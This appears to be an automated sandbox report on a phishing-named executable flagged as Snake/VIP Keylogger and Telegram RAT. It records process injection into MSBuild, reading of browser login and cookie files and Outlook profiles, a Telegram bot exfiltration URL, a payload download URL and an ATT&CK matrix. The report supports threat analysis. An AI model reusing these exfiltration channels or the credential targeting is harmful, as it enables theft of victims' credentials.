Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598995	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596746	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596595	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595441	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594437	Jump to behavior

Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: RFQ 1307.scr.exe, 00000000.00000002.1705782592.000000000172B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2612307946.0000000000FED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: RFQ 1307.scr.exe, 00000000.00000002.1718626242.0000000006CC0000.00000004.08000000.00040000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSy6LqemUlmZq8RvqQu
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: MSBuild.exe, 00000004.00000002.2622256559.0000000004042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Queries volume information: C:\Users\user\Desktop\RFQ 1307.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ 1307.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\RFQ 1307.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1706854416.000000000382B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2618358547.0000000003058000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ 1307.scr.exe.4469550.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ 1307.scr.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7992, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Software Packing	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
RFQ 1307.scr.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
RFQ 1307.scr.exe	100%	Avira	HEUR/AGEN.1308518
RFQ 1307.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
playstoremeta.com	103.159.36.18	true	false	unknown
api.telegram.org	149.154.167.220	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
checkip.dyndns.com	193.122.130.0	true	true	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	true	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:536720%0D%0ADate%20and%20Time:%2022/10/2024%20/%2001:16:48%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20536720%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://playstoremeta.com/wp-includes/Lwkmydbthhy.dat	false		unknown
https://reallyfreegeoip.org/xml/155.94.241.186	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	MSBuild.exe, 00000004.00000002.2618358547.00000000030FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://stackoverflow.com/q/14436606/23354	RFQ 1307.scr.exe, 00000000.00000002.1706854416.0000000003506000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-netJ	RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004468000.00000004.00000800.00020000.00000000.sdmp, RFQ 1307.scr.exe, 00000000.00000002.1715764576.0000000004509000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2618358547.0000000003034000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2610174570.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.office.com/lB	MSBuild.exe, 00000004.00000002.2618358547.00000000030F7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/mgravell/protobuf-net	RFQ 1307.scr.exe, 00000000.00000002.1719550043.0000000006F80000.00000004.08000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	MSBuild.exe, 00000004.00000002.2618358547.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSBuild.exe, 00000004.00000002.2622256559.00000000041F3000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2622256559.000000000420D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
